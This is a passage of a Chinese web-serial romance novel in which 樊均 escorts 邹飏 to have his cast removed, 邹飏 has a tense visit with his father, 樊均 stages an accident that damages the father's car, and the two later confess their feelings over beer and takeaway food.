樊均把车停在邹飏家小区大门旁边的人行道上,低头把帽檐拉低,闭上了眼睛,尽量调整着自己的呼吸…… 一路过来的时候都还挺顺利,但心慌来得还是很突然,没有什么预兆。 邹飏家附近很热闹,小区这条街更是各种商店超市,连店面的色彩都比南舟坪的小街丰富。 嘈杂的人声,电瓶车的喇叭声,路两边的音乐声,路口绿灯亮起时急促的滴滴声,不断从眼前从身边掠过的人和车,甚至是摇晃着的树影…… 樊均低头看着自己脚下。 他过来并没有告诉邹飏,只是问了一下邹飏去拆石膏的时间。 邹飏说十点,不影响下午约课。 樊均就没再多说,一是不确定自己在这又一个全新的区域里会是什么状态,二是他不知道邹飏是不是真的一个人去医院拆石膏,如果是跟刘文瑞一块儿,他就回南舟坪…… 旁边有人过来了。 樊均凭直觉能感觉到,有人在接近,但他没有动。 低头看着地面。 一辆滑板车几乎挨着他的脚停下了。 “哎,帅哥。” 邹飏的声音不高,而且是在他左边,但还是穿过一片混沌清晰地进入了他的右耳。 一直憋在胸口的一口气在这一瞬间猛地呼了出去。 樊均觉得呼吸突然都顺畅了。 他偏过头,看到了正扶着滑板车站在旁边的邹飏。 “嗨,”他笑了笑,“帅哥。” “神经病吧你。”邹飏说。 “你吧。”樊均看了一眼他脚下的滑板车,除此之外,没有别的交通工具,也没有刘文瑞。 “你在这儿干嘛?”邹飏问。 “送你去医院拆石膏。”樊均说。 “我要没看到你,我直接就走了,”邹飏说,“你上哪儿送我?” 是啊。 “……还好你看到我了。”樊均说。 邹飏没说话,伸手轻轻往上抬了一下他的帽檐:“你怎么样?我家这边儿挺乱的。” “没事儿。”樊均笑笑。 “那走吧,”邹飏说,“我给你指路。” “嗯。”樊均应了一声。 邹飏把滑板车收起来放在了车的踏板上,然后跨到了后座,指了指前面那个滴滴作响的路口:“那儿左转。” “好。”樊均点头。 邹飏还是像之前那样,手搭在他肩上,他稍微偏过头,余光里就能看到邹飏手腕上的那一抹绿色,阳光下很抢眼。 “你就打算踩着那个滑板车去医院吗?”他问。 “嗯,”邹飏往前凑近他右耳,“续航30公里,我不光能踩着它去,还能踩着它去我爸那儿。” “你一会儿要去你爸那儿?”樊均问。 “明天他们全家就要飞欧洲了,”邹飏说,“我得抢这点儿空隙过去表表孝心把钱拿了。” “下午……”樊均犹豫了一下,“去旧馆吃个饭吧,珊姐最近挺忙的,昨天我说要过来,她……还挺着急的,你拆石膏也没跟她说。” 邹飏过了挺长时间才应了一声:“嗯。” 樊均没再说话,专心地看着前方,说实话,他骑电瓶车的技术远不如邹飏,毕竟能骑的机会太少了。 “红绿灯前面那个岔路转进去。”邹飏在他耳后说。 “嗯。”樊均应着。 总感觉邹飏的声音像是有质量的某种存在,顺着他右耳落在肩上,又顺着后背一路轻轻滚过。 转进岔路之后邹飏手扶着他肩膀,手指在他脸旁边往前指了指:“一条直路开到头那个丁字路口转过去就到了。” “好。”他点了点头,这条路上人和车明显少了很多,慢车道开着很舒坦。 邹飏没再说话。 过了一会儿他突然感觉自己后颈一阵温热。 邹飏似乎是有些困了,低头把脑门儿顶在了他脖子后头。 樊均无法形容这个感觉,说不清是慌张还是别的什么,手下意识地握紧了车把,一直摸在喇叭按钮上的大拇指往下一按。 车对着前方空无一人的慢车道“哔——”了一嗓子。 第50章 邹飏吓了一跳,猛地抬起头,看着前方笔直的一条路,离他们最近的电瓶车在差不多在三十米之外。 “怎么了?”他偏了偏头,看着樊均的侧脸。 “没,”樊均一拧车把,车加速往前飚了出去,“吓了一跳。” “我想眯一会儿来着。”邹飏摸了摸自己脑门儿。 “你眯吧。”樊均说。 邹飏重新低头把脑门儿顶在了他脖子后头,闭上了眼睛。 “你不是刚起床吗?”樊均问,“昨天熬夜了?” “没睡好,”邹飏叹了口气,提高声音说,“这阵儿老做梦,醒了又不知道梦到什么了,乱七八糟的。” “吕叔有个方子,晚点儿让他给你煎一副吧。”樊均说。 “管用吗?”邹飏问,“你试过吗?” “试过,管用。”樊均点头。 医院人很多,门口电瓶车的停车位上满满当当全是车。 樊均骑着车绕了两圈儿才找到了一个位置,一个大姐正好把车推出来。 樊均刚把车头转进去,一辆电瓶车冲了过来,完全没有刹车的意思,一脑袋就要往空位里扎。 邹飏正想骂人,樊均已经一脚蹬在了那辆车的前轮上,轮子往前又蹭了五厘米,被蹬停了。 “干什么!”车的主人喊了一声。 这人看着挺吓人,干瘦的光头,头皮上全是文身,是个花头大哥。 樊均看着他没说话,蹬着车轮的脚也没有动。 花头瞪圆眼睛,猛地一拧车把。 车的后轮开始疯狂转动,但前轮在樊均脚下没能前进一分。 干转了一会儿之后,车后轮因为阻力开始左右移动,花头终于放弃,退开了。 樊均把车开进位置停好。 “其实远点儿那边还有个位置。”邹飏下了车。 “离大门太远了。”樊均把滑板车拿下来递给他。 “我腿已经好了,今天都要拆石膏了,走几步也不是不行。”邹飏站到了滑板车上。 “要先拍了片子才知道,万一没好呢,我看你每天上窜下跳的根本也没好好休息。”樊均说。 “别咒我啊。”邹飏说。 “呸呸呸。”樊均笑笑。 两人进了医院大门之后,樊均才低声问了一句:“我刚那样……” “嗯?”邹飏转头看着他。 “是不是……”樊均停顿了顿没再继续说,只是往前走,“去挂号吧。” “你要像刚那个人那样才讨厌。”邹飏说。 樊均停了下来,轻轻叹了口气:“我最近……火气很大。” “这要算脾气大的话,”邹飏说,“那我天天头上都烧着火。” 樊均笑了。 邹飏的腿没什么问题了,医生看完片子,帮他把石膏拆了。 “我现在能正常走了吗?”他看着自己的腿,左腿细了一圈儿。 “慢慢来,现在还不能……”医生交待了一大堆注意事项,邹飏听着这意思跟拆石膏前差不多,总之就是还不能健步如飞,还得柱着拐慢慢来。 “明天的课可以复健了。”邹飏攀着樊均的肩膀往医院外走。 “挺好的,不用费劲想你上课练什么了,”樊均一手搂着他的腰,一手拎着滑板车,“现在去你爸那儿吗?” “嗯。”邹飏点点头,“现在这状态不让他看看太亏了,这月也得多给点儿。” 樊均看了他一眼,没有说话。 “怎么了?”邹飏问。 “没。”樊均说。 这腿的确是让老爸挺震惊的,半蹲在他腿边:“怎么看着还没好呢?” “好了的,只是……”邹飏话还没说完,邹天瑞她妈就走了过来。 “骨折了这样正常,”她说,“都能拆石膏了怎么会还没好,只打了一个月说明伤得不严重,稍微严重点儿的怎么都得四五十天,对吧,小飏。” 邹飏没说话,只是笑了笑。 “就你最懂了,”老爸冲她摆了摆手,示意她出去,“天瑞收拾好了没?你去帮帮她。” “不是我懂,是事实,”女人说完扫了邹飏一眼,转身走出了茶室,“你就是爱自己脑补,这也就是小飏没有坏心思,要不他想骗你真是太容易了……” 邹飏咬着牙控制着自己没骂出声。 “你真是……小飏啊,别管她,”老爸拍拍邹飏的肩,“来,尝尝我新弄来的茶,是你喜欢的老丛水仙……” “爸,”邹飏站了起来,“今天就不喝了。” “嗯?”老爸看着他。 “我就是来看看你,”邹飏控制着自己的语气,“怕你担心……” 这句话说出来的时候他都有点儿心疼自己。 老爸根本就不担心他,他对自己所有的所谓关心,都是一顶顶邹飏帮他戴上的高帽而已。 “我知道,我知道,”老爸拍着他的胳膊,“你阿姨说话不过脑子,你不要管她说什么。” “我先走了,就是告诉你……我腿没事儿了。”邹飏拿过旁边放着的拐杖,这是从医院出来的时候买的,本来只是道具,毕竟比起柱拐走,他更愿意单腿蹦。 但这会儿他感觉自己不柱着这个拐连站都有点儿站不住。 “喝点儿茶再走,”老爸扶着他,“爸知道你不是她说的那样,你是懂事的……” “下次吧爸,”邹飏看着老爸,“今天你们的确也忙。” “那……”老爸皱着眉,过了一会儿才叹了口气,“行吧,下次,下次我们爷俩好好聊聊。” “下次咱们去茶馆吧。”邹飏柱着拐慢慢往外走。 “就在家里。”老爸说。 “茶馆吧,”邹飏说,“谁也不愿意家里时不时就来个外人,一待就一两个小时。” 走出门口,老爸还想看着他按电梯,女人的声音从里面传了出来:“门关上啊!进蚊子了!” “爸,你去忙吧。”邹飏转身,没等老爸说话,把房门推过去关上了。 晚一秒他都怕自己会现了原形。 而现在还不是现原形的时候,他得忍着。 按下电梯按钮的时候,他听到了房门里传来了老爸的怒吼。 “你这是干什么!” 女人提高了声音也吼了起来,但邹飏听不清。 他走进了电梯。 爽吗? 有点儿爽的,毕竟又听到了他们吵架。 但更多的是憋屈。 老爸的怒火并不来自女人对他儿子说的那些话,仅仅是当着儿子被撅了面子而已,你不给我儿子面子,就是不给我面子。 仅此而已。 樊均在小区斜对面的咖啡馆里等着他,这个咖啡馆有二楼,人少清净,环境也不错。 【邹yang】还在二楼吗 【樊】在,你到了吗,我下去接你 【邹yang】不用 邹飏闷头柱着拐,刚要上楼,樊均已经从楼上下来了,抓着他胳膊把他扶到了二楼角落的一张小桌前。 还没坐下就问了一句:“怎么了?” “没事儿。”邹飏坐下,低着头,调整着自己的情绪。 樊均没给他这个时间,手直接伸过来兜着他下巴往上抬了一下:“怎么了?” 邹飏啧了一声,偏开了头,眼眶猛地有些发热。 “没忍住揍你爹了?”樊均问。 邹飏刚有点儿上头的情绪顿时卡了壳,没忍住笑了起来:“医生说我这腿还不能打架呢。” “医生没说,你别造谣。”樊均说。 邹飏给自己点了杯冰美式,对着桌子又愣了一会儿才开口说了一句:“他老婆觉得我在骗他。” “他也觉得吗。”樊均问。 “他不会,”邹飏皱着眉想了想,“我爸这个人,真的很自信,他觉得我就是非常渴望得到他认可的听话儿子。” “那就让他俩吵去吧。”樊均说。 “你怎么知道他俩吵了?”邹飏笑了笑。 樊均也笑了笑,然后放低了声音:“那你……为什么?” 邹飏用力地吸了一口气,慢慢呼了出来,往沙发上一靠,闭了闭眼睛:“就觉得他永远不会为了我说什么做什么,只在意自己的面子。” 樊均没说话,只是也叹了口气。 “我出来的时候,楼下看到他车,差点儿没忍住,”邹飏捏着手指,指节一根根弹响着,“特别想过去一棍子把他车给砸了。” 樊均还是沉默着。 “我一边不想忍了,”邹飏说,“一边又觉得钱还是要拿的,凭什么他可以这么高高在上舒舒服服……” “我去。”樊均突然说了一句。 邹飏愣了愣,没听懂他说什么。 “你过二十分钟直接出去,到前面路口那个蜜雪冰城等我,”樊均说,“慢慢走别瞎蹦。” 邹飏还没回过神来,看着他:“路口三个蜜雪呢。” “不过马路的那个。”樊均说着就站了起来。 这会儿邹飏才猛地反应过来:“你干嘛?” “让他不舒服一下。”樊均拿起了他的滑板车。 “你疯了樊均!”邹飏抓住了他的手。 “要不要我帮你疯一下?”樊均低头低声问,“其实也没多大动静,稍微出点儿气吧……楼号和车牌给我。” 邹飏仰头看着他,这一瞬间他只觉得自己全身的血都在翻腾,头皮都因为突如其来的兴奋感而有些发麻…… 樊均拎着收起的滑板车出了咖啡馆,把帽檐压低,顺着店铺门口往路口反方向走过去,随便转进了一条小路,拉开自己裤腿中间的拉链,把小腿部分拆了下来绕在了两个手腕上。 再在小路边站了十多分钟,他踩着滑板车回到了大街上,穿过马路,绕到了小区另一门进去了。 小区很大,不过路边有指示牌,樊均戴上耳机,从兜里摸出了一个单指指虎戴上,拿出手机打开了录像。 然后踩着滑板车,开始在一栋栋楼的架空停车层之间来回绕,专门贴着车绕,俨然一个无所事事的精神小伙儿。 他不介意被发现,只要看不出来他跟邹飏是一块儿的就行。 绕了半天,总算绕到了邹飏他爸的车旁边。 又在附近绕了几个8字,他踩着滑板车回到了车边,紧跟着一个踉跄,从滑板车上踉跄着跳了下来。 先是失控的滑板车撞在了车门上,接着是失控的他踉跄着往车前挡玻璃上撑了一下。 随着玻璃嘭的一声闷响,一片雪花从驾驶室这边一直铺向了副驾。 邹飏拿着冰美式站在路边一个小书店门口,手指在杯子上一下下敲着,眼睛盯着右边路口的方向。 冰美式快喝完的时候,左边有人低低地吹了声口哨。 他转过头,发现樊均居然是从相反的方向过来的。 樊均冲他抬了抬下巴,邹飏转身先一步进了书店,站在了一排书架面前。 “嗨,帅哥。”樊均过来站在了他旁边。 “嗨,帅哥。”邹飏说到一半就笑了,“接头呢?” “嗯。”樊均笑了笑。 邹飏看了看他,发现这人长运动裤变成了短裤,手上还多了……俩腕带…… “你这什么打扮。”他说。 “多少伪装一下,你爸见过我,虽然好像也没看我。”樊均一边说一边拆下了腕带,抖开变成了俩裤腿儿,他一边弯腰穿裤腿儿一边把手机递了过来,“我录了视频,看看吗?” “你还真周到……”邹飏笑着接过了手机。 同时也看到了樊均指上戴着一个银色的宽边戒指,上面还有个带尖的椎头。 是个指虎。 “你哪儿来的这个?”邹飏问。 “兜里来的,”樊均穿好了裤腿儿,摘掉了指虎,“一直带着,防身的。” 邹飏看着他,没说话,过了一会儿才低下头点开了樊均手机上的视频。 视频是从樊均进小区开始录的,长达十多分钟。 “你真有耐心啊……”邹飏感叹了一句。 “多少伪装一下。”樊均说。 邹飏笑着往下看,这个小区他很熟,毕竟在这儿住了那么久,樊均绕过的路他都认识,还真绕得挺复杂。 一直到最后,他看到了老爸的车。 樊均也把镜头对准了自己的手,滑板车把车门撞出了一个凹坑,接着樊均反戴着指虎的手往挡风玻璃上一拍。 嘭! 邹飏猛地感觉一阵爽快,往后靠在了墙上,看着樊均笑了笑。 樊均去把车骑到书店,接上了邹飏。 “先去旧馆吃个饭吧,然后去上课?”樊均问。 “你不怕……”邹飏说到了一半没再说下去。 樊均也没出声。 挺长时间没到旧馆这边来了,旧馆也没什么变化。 毕竟南舟坪这地方几十年都没什么变化,何况一个小小的武馆。 小白从狗窝边跑了过来,激动地围着邹飏转圈儿,鼻尖一个劲儿往他手上顶着,还起范儿想站起来往邹飏身上扑。 “No,小白!No!”樊均指着它,“他腿还没好!” 小白哼唧着坐下了。 邹飏在小白脑袋上扒拉了几下,又试着揉了揉狗头。 “小飏来了?”厨房里传来老妈的声音。 “嗯,妈。”邹飏拍拍小白的脑袋,走进了厨房。 “拆石膏了?”老妈扔下正在摘的菜,走了过来,弯腰看着他的腿,“好透了没啊?” “好透了,”邹飏说,“就是走路得恢复一阵儿。” “哦,”老妈摸了摸他的腿,“我给你炖大骨汤了,一会儿喝点儿,还想着你要是不过来,就让樊均上课的时候带给你。” “嗯。”邹飏突然又有点儿想哭。 “怎么了?”老妈直起身看着他,“啊?怎么了?” “没事儿。”他说着伸手抱住了老妈。 “哎哟怎么了?”老妈也抱住了他,冲门口喊,“均儿!樊均!” 樊均进了厨房:“珊姐。” “小飏怎么了?”老妈问。 “他……”樊均犹豫着。 “我没事儿,”邹飏说,“就抱抱你。” “抱抱抱……”老妈拍着他的背。 50-60 第51章 今天午饭就四个人吃。 吕泽去了新场地,平时老蹭饭的猴儿和李茂这两天都躲着樊均,厨房一下清净不少,还挺舒服。 樊均帮着珊姐把做好的菜端到桌上。 “喝点儿什么吗?”珊姐问邹飏,“你腿现在能喝点儿酒啊可乐什么的了吗?” “不喝了,我刚两杯冰美式喝得现在有点儿晕水。”邹飏说。 “大骨汤晕吗?”吕叔笑着问了一句。 “就晕冰水。”邹飏说。 “我喝点儿啤酒吧,”樊均打开冰箱,“珊姐喝吗?吕叔?” “我喝个可乐吧。”珊姐说。 “我什么都不喝了,街道体检说我尿酸有点儿高。”吕叔说。 “嗯。”樊均拿了可乐和啤酒出来。 也许是因为挺长时间没见,珊姐今天没怎么跟吕叔聊事儿,一直在问邹飏的情况。 邹飏大概是心情挺好,把去他爸那儿的事给说了出来。 珊姐一听就怒了,筷子往桌上一拍:“那你砸他车啊!你为什么不砸!砸了他也不敢把你怎么样。” “没到时候。”邹飏边吃边说。 珊姐拿起筷子,刚想吃饭,想想又把筷子拍回了桌上:“说实在的,他要说小飏什么,我都忍了,毕竟亲爹,让不相干的人对着自己儿子叽叽喳喳的算怎么个意思啊!我明天就去给他车砸了!” “哎,你别乱来。”吕叔吓了一跳。 “我砸了。”樊均说。 吕叔和珊姐都没了声音,过了两秒珊姐才问了一句:“你砸什么了?” “砸了你前夫的车,”邹飏说完突然笑了起来,胳膊往脑袋后头一架,“哎——还录了视频,看吗?” 珊姐回过了神,伸手往樊均身上拍了一巴掌:“你疯了啊!他那个车有录像的!” “没事儿,我戴帽子了,”樊均没太所谓,“真找来了再说吧。” “小飏,”珊姐又皱着眉看向邹飏,“你怎么不拦着点儿他啊,真要拍到了怎么办?” “樊均又不是故意的,赔钱呗,他今天给我的钱都够赔了,”邹飏仰头靠在椅子上,话说得很平静,“他要不信,就说是我指使的,他要真追究我……我就解脱了。” “我看看。”吕叔伸手问樊均要了手机,低头开始看视频。 珊姐也赶紧凑过去一块儿看着。 樊均转头看向邹飏。 邹飏没动,还是仰头看着前面,口型说了一句,没事儿。 樊均还是看着他。 邹飏转过了头,又说了一句,看不懂吗? 樊均笑笑,低声说:“看得懂。” 我挺爽的,不用担心我。 “嗯。”樊均点了点头。 吃完饭,邹飏柱着拐,跟樊均一块儿慢慢往商场那边走。 今天吃得有点儿饱,老妈做的大骨汤他喝了好几碗,这会儿感觉肚子都撑圆了,两点还上课,他都怕一使劲会喷大骨汤。 “今天课取消吧,”他看了樊均一眼,“或者上半节。” “不拆零。”樊均说。 “划一节课呗,”邹飏一挥手,“我还出不起一节课了吗,别的没有,就有钱。” 樊均笑了笑:“今天你爸给了你多少?” “二六六六六,儿顺顺顺顺,”邹飏叹了口气,“他就喜欢讨个口彩。” “赚了多少了?”樊均问,“你是有个什么要用钱的目标吗?必须要攒够多少?” “没多少,”邹飏说,“他以前也不这么给,就按月给生活费,我十八以后他才开始手笔大点儿的,之前没准儿是怕我妈拿我没成年当借口扣下他给我的钱。” 樊均没说话。 “我也没什么目标,我就是想让他们全家都知道他欠我的。”邹飏说。 “毕业以后呢?”樊均问。 “毕业的时候敲笔大的,”邹飏说,“然后去把他家砸了一拍两散。” 樊均笑了起来。 邹飏想想也跟着笑了。 但还没笑两声,樊均突然猛地没了声音,还迅速回头看了一眼。 “怎么了?”邹飏立马也跟着回了头。 身后是已经看得很熟悉了的被太阳晒得有些发白的南舟坪北小街,中午这会儿行人不多,路边的小店看上去都昏昏欲睡。 “没。”樊均低声说。 但还是把帽檐拉低了。 “今天怎么又戴帽子了?”邹飏问,“不压发型了吗?” “你就说你现在想不想戴个帽子。”樊均说。 沐浴在烈日下的邹飏对这个理由一时倒也无法反驳。 但就算帽子是因为遮阳,就算这会儿樊均还能用这样轻松的语气说话,肯定也还是有什么事让他紧张了。 “你是感觉到什么了?”邹飏也没迂回,直接问了,“樊刚吗?” “……不是。”樊均有些吃惊地看了他一眼。 邹飏没出声,转头往四周又盯了一圈,从他的角度来看,的确没发现什么可疑的。 “这两天我压力可能有点儿大,想的事儿多,”樊均说,“孙旭磊……我总感觉他会出事儿。” “刚吕叔说他带钱了,”邹飏说,“应该……不会有事儿吧?” “就是带了钱但一直没联系任何一个人,”樊均低声说,“才最可怕,孙旭磊不是憋得住事儿的人,他才十三岁。” 邹飏没说话,抬起了手,犹豫了一小会儿之后,在樊均背上轻轻搓了搓。 樊均猛一下停直了背。 都能感觉樊均背上的肌肉都收紧了。 操。 邹飏迅速收回了手。 樊均对别人的主动接触似乎始终有点儿不适应。 特别是在眼下这种有些紧张的状态下。 沉默地往前走了一段,樊均开了口:“我……” 邹飏等着他往下说,但又没了。 “你……”邹飏只得开口想着随便说点儿什么。 “你……”樊均跟他同时。 “嗯?”邹飏看他。 “你说。”樊均说。 “你……”邹飏顿了顿,胡乱说了一句,“这么热你没出汗啊。” “啊?”樊均愣了,回手摸了一下自己后背,“你出汗了?” “……没。”邹飏叹了口气,一咬牙索性又伸手在樊均背上搓了搓。 这回樊均没有什么大反应了,只是笑了笑。 新馆这边儿看来已经准备要撤了,训练差不多就剩下垫子了,也没有会员上课,谭如和铁帮都没在。 “这儿什么时候闭馆?”邹飏坐在跳箱上,左脚按樊教练的要求来回地勾着脚背。 “大部分不在这边儿上课了,”樊均单腿跪在他旁边,手指在他小腿下方往上一下下点着,“我现在隔一两天也得往那边儿去上课。” “怎么没带我去那边儿?”邹飏问。 “你复健这点儿强度跟玩似的,”樊均说,“还不配过去。” “你大爷,”邹飏笑了,“给我上强度。” “好,”樊均手指顶着他小腿肚,“保持住。” 可能是这一个月都被石膏裹着,小腿这会儿的感觉是有点儿麻木的。 樊均的手指点在他皮肤上时,触感跟平时不太一样,模糊的钝滞中像是带着一丝细细清晰的电弧…… 邹飏猛地感觉心跳加速,腿不受控制地抖了抖。 樊均看了他一眼:“才三秒。” “不是,”邹飏看着他,腿还抬着,“你的手。” “嗯?”樊均低头看了看自己的手,“痒吗?” “不是。”邹飏说。 “那是怎……”樊均拿开了手。 邹飏盯着他的手,这种像是生锈一个月的神经突然被一针戳醒的感觉,樊均在医院搂着他时都没有过。 “我刚摸你背你是怎么了?”邹飏问。 樊均没说话。 “你刚是怎么了,”邹飏说,声音有些发紧,“现在我就是怎么了。” 樊均还是没说话,手撑在垫子上,跟入定了似的半天都没有说话,也没有动。 死机了。 “继续吧,”邹飏回了回神,“我跟你说,没难度,我没拆石膏的时候在家也这么练。” “……行吧,”樊均起身,拿了根弹力带挂在了他脚踝上,“稍微加点儿重量。” 邹飏抬腿绷紧弹力带。 就像那个女人说的,他的骨折的确不严重,除了因为一个月没怎么用腿,左腿细了一圈儿之外,基本没什么不适的感觉。 连着几天,这复健课上的,就是聊天儿。 挺愉快,虽偶有尴尬,但总体安心。 唯一不足的是会下课。 回到家就会空落落,但还不愿意出门,刘文瑞约了他两次他都拒绝了。 【瑞思拜】表白失败又不是失恋,一副生不如死的样子干嘛呢 【瑞思拜】出来喝酒! 【邹yang】子非鱼 【瑞思拜】出来!喝酒! 【邹yang】医生不让我喝酒 【瑞思拜】放你的屁你还能听医生的?骨折没好的时候都没少喝,现在健步如飞了不喝了 【邹yang】过两天的 【瑞思拜】渣男 今天的训练,大概是邹飏在这个“新”馆的最后一次训练了,东西全部都搬空了,连跳箱都没剩一个。 “你现在这课上的,不知道的看着就跟骗钱一样。”邹飏看着樊均手里仅存的唯一资产,一根弹力绳。 做完几组抗阻训练,樊均让他站了起来:“试一下平衡垫站……” 话没说完,樊均转头往门口那边看了一眼。 “没有人。”邹飏说,他是面对着门口站着的,非常确定门口并没有人经过。 樊均应了一声,但还是往门口走了过去,一直走出了门外,站在了栏杆边。 邹飏跟了出来,今天不是周末,整个商场静得出奇,一个人都没有,扶梯是停运的,旁边舞蹈室都没有音乐声,甚至那个母婴店都没有开门。 新馆要搬走,就像是这个商场都要搬走了一样,今天格外落寞。 邹飏又往下看了看一楼,也没有人。 这样的环境下,要真有人从门口经过,不太可能看不到。 “你是看到了还是有感觉?”邹飏低声问。 “感觉,”樊均声音很沉,手在栏杆上抓得很紧,但并没有回避邹飏的问题,“以前他每次回家,我在屋里都能感觉到。” 邹飏犹豫了一下,伸手过去握住了他的手。 两人沉默地站在走廊上,一直到蓉主席哼着歌顺着扶梯往上走的时候,樊均才转身回了馆里:“继续,最后一组了。” 今天邹飏约的课是四点半,练完走出商场时,已经能闻到饭菜香味了。 “请我吃饭吧,去你那儿吃。”邹飏说。 樊均脚步停了停,看了他一眼:“你是不放心我吗?” “嗯。”邹飏点点头。 樊均会做的菜有限,想换口味就只能买现成的。 所以他俩直接去了熟食店。 “想吃什么?”樊均问。 “猪蹄儿。”邹飏毫不犹豫。 “行,吃猪蹄儿补羊蹄儿,”樊均点头,“别的呢?” “你看着买。”邹飏说。 红肠小肚猪耳朵鸡架,樊均顺着一通指,最后拎了两大兜熟食回了家。 进屋之后邹飏才想起来:“这么多菜,没买酒。” “冰箱里有。”樊均把邹飏最喜欢的那个小桌子拿到沙发前架好,拎着东西进了厨房。 邹飏过去打开冰箱,看了一眼就愣住了,除了最上层的饮料,下面几层全是啤酒。 他盯着这些啤酒看了好半天才关上了冰箱门。 顺手抄起路过的大黑,搂着去了厨房。 “怎么买那么多酒?”他靠在门边。 “晚上喝点儿,”樊均拿出几个盘子,开始把熟食们装盘,“要不睡不着。” “你不说吕叔那个方子你喝了有用吗?”邹飏问,“为什么不喝那个?” “太难喝了。”樊均说。 “行吧,”邹飏笑笑,“今天晚上陪你喝。” “你……”樊均回过头看了看他,“随便喝点儿就行,太晚……不好打车了。” “我今儿晚上不回去。”邹飏说。 樊均手上的动作停下了,沉默地看着厨房窗外。 “别让我回去,我回去就一个人,也就跟刘文瑞出去转转,”邹飏说,“越转悠越寂寞。” “……嗯。”樊均低头继续装盘。 邹飏也没再说话。 过了一会儿,樊均递过来两个盘子,菜都很整齐地码好了:“端出去。” 邹飏把大黑放下,接过盘子放到了小桌上。 樊均把剩下的三个盘子一块儿都端出来放好了,再拿了几罐啤酒放到桌上。 “真丰盛啊。”邹飏往地毯上一坐,靠着沙发,仰了仰头。 “嗯。”樊均笑笑。 “樊均,”邹飏盯着桌上的菜,把憋了挺长时间的话说了出来,“不知道什么时候才会有他的下落,这之前……你的生活总不能不要了吧。” 樊均看着他,没说话。 “他已经毁掉你那么多年的生活,”邹飏低声说,也不知道樊均能不能听清,“别让他继续毁了。” 樊均在他身边坐下了,打开了一罐啤酒,放在了他面前。 邹飏转过头看着他。 樊均轻轻皱了皱眉,又拿起一罐啤酒:“我只是,担心会……” “我才没所谓。”邹飏说。 樊均沉默的时间很长,手指捏在啤酒罐上,指尖捏得都有些发白。 有些不易觉察的气氛随着两人沉默的呼吸开始在身边漫延,邹飏感觉自己心跳突然又开始缓缓加速。 “……为什么?”樊均开口的时候声音低得几乎听不见。 “什么……为什么?”邹飏问得有些没底气。 为什么要你请客,为什么不想回家,为什么会寂寞,为什么想陪着你,为什么会没所谓…… 脑子里闪过三千个为什么。 最才落到了那个答案上。 “为什么……”邹飏声音低得带着些气声,“喜欢你吗?” 樊均的手微微颤了一下,啤酒罐被捏凹进去了一小块。 第52章 为什么喜欢你。 我为什么喜欢你。 邹飏为什么喜欢樊均。 邹飏不知道樊均问的是不是这个“为什么”,他琢磨了一圈儿,想了很多个为什么,最后发现,自己想回答的,就只有这一个“为什么”。 邹飏能听到自己脑子转动的声音,嗡嗡的,还有些乱七八糟的杂音,楼下不知道谁在喊孩子回家吃饭,窗外不知道哪家炒菜哐哐响,大黑稀里哗啦地追着玩具耗子…… 但四周很静,静得能听到樊均很轻的呼吸,和啤酒罐上水珠滑落……这些声音在这一刻都像是只存在于他嗡嗡作响的脑子里。 其实从樊均问出这个问题的那一瞬间,他就已经想好了回答。 无论樊均问的是哪个“为什么”,他都只想回答这一个为什么。 虽然他并不知道该怎么回答。 “这怎么说得清呢?当时明月在,曾照彩云归……”邹飏低声开口,看着还捏在罐子上的樊均的指尖,有些发白,“什么时候……喜欢的都不知道,上哪儿说得清为什么喜欢……” 樊均拿起罐子,仰头喝了一口,没有说话。 把罐子放回桌上的时候,似乎没控制好力度,哐的一声。 从桌子边经过的大黑原地蹦了一下。 “就觉得,”邹飏也拿起了自己那罐啤酒,却并没有喝,只是指尖在罐子上很轻地一下下点着,“跟你待在一块儿很……安心,很舒服,可以什么也不说就那么愣很久也不无聊……” 说这些话的时候,邹飏甚至没敢往樊均脸上看,只是盯着自己的手,还有余光里大黑的尾巴。 不过他知道樊均已经喝掉了一罐啤酒,也一样没往他这边儿看。 能听到,感觉到,但没有勇气看到。 “吃……”樊均终于打破了沉默,拿起筷子往邹飏碗里夹了一块猪蹄儿,“猪蹄儿吧。” “嗯。”邹飏应了一声,但没有动。 他现在憋着的这股劲儿,有任何动作都会泄掉,他甚至不能大口呼吸。 樊均又拿了罐啤酒,擦了擦正要打开,邹飏一咬牙,转头看着他:“你呢?” 樊均一瞬间凝固在了原地,抠着罐子上的拉环。 他俩这会儿的距离很近,邹飏转过头之后能看清樊均微微颤动着的睫毛,甚至能看到他的呼吸和心跳。 樊均轻轻吸了一口气,也转过了脸看着他:“……嗯?” 邹飏没有出声,沉默地等待着。 樊均缓缓开口:“你很……” “除了我长得很帅。”邹飏很快地说。 “……好,”樊均笑了,过了一会儿才重新开口,“你是我从来没有见过的那种人,很美好,聪明……” “会念诗什么的,”邹飏说,“知道我优点的人也不会都……” “你让不让我说完了。”樊均笑着问。 “嗯。”邹飏有点儿不好意思,也不知道自己急什么。 “其实也……说不清,我只知道……”樊均说得很认真,声音微微有些颤,“也许还有别的,我……说不清,但我说我没事儿的时候……你可能是唯一一个不相信我的人。” 邹飏愣住了。 这个回答是他没有想到的。 樊均没再说话,拿过啤酒罐往他面前那罐啤酒上轻轻磕了一下,仰头喝了一口。 邹飏也拿过罐子,喝了两大口。 低头夹了那块猪蹄儿塞进了嘴里。 “好吃吗?”樊均问,“没在那家买过。” “有点儿咸,”邹飏含糊不清地边嚼边说,“但是好吃还是好吃的。” “你平时自己在家的话,怎么吃饭?”樊均看着他。 “外卖,”邹飏咽下猪蹄儿,擦了擦嘴,轻轻叹了口气,“家附近的外卖都快让我吃遍了。” “要不要……我教你?简单的。”樊均问。 “你直接给我做不行么,我下了课就在这儿吃。”邹飏说。 樊均没了声音。 邹飏扫了他一眼,知道自己这话说得有点儿太理所当然,但他就想这么说,樊均拒绝了另说。 “你也不能天天上课啊,”樊均说,“身体没有恢复时间了,你要打比赛啊?” 邹飏笑了起来:“现在不就天天上课呢么。” “你天天复健吗?”樊均说,“下周开始我就要踢你了。” 邹飏啧了一声。 “不过,你不约课的话……放假了也有时间……”樊均说得有些费劲,说到一半还拿了鸡架开始啃,“就……” “我可以专门过来吃饭是吧。”邹飏说。 “……嗯。”樊均点了点头。 “又不怕我有危险了吗?”邹飏问。 啊……邹羊…… 脑子能不能不要那么容易犯迷糊…… 这种时候提什么樊刚啊! “怕,”樊均说,“但我觉得我可能……拦不住你,不如知道你什么时候在,在哪里。” 这句话,在这个微妙的场景里听到,邹飏只觉得心里一阵发软。 “我也不是什么一碰就倒的文弱书生李知越啊。”他说。 樊均笑了起来,看着他,似乎想说什么,但最后还是没有说。 邹飏能猜到他想说什么,樊刚就算已经五十多了,但也并不是什么老头儿,这种可能背着命案的疯子,一般人真未必是他对手。 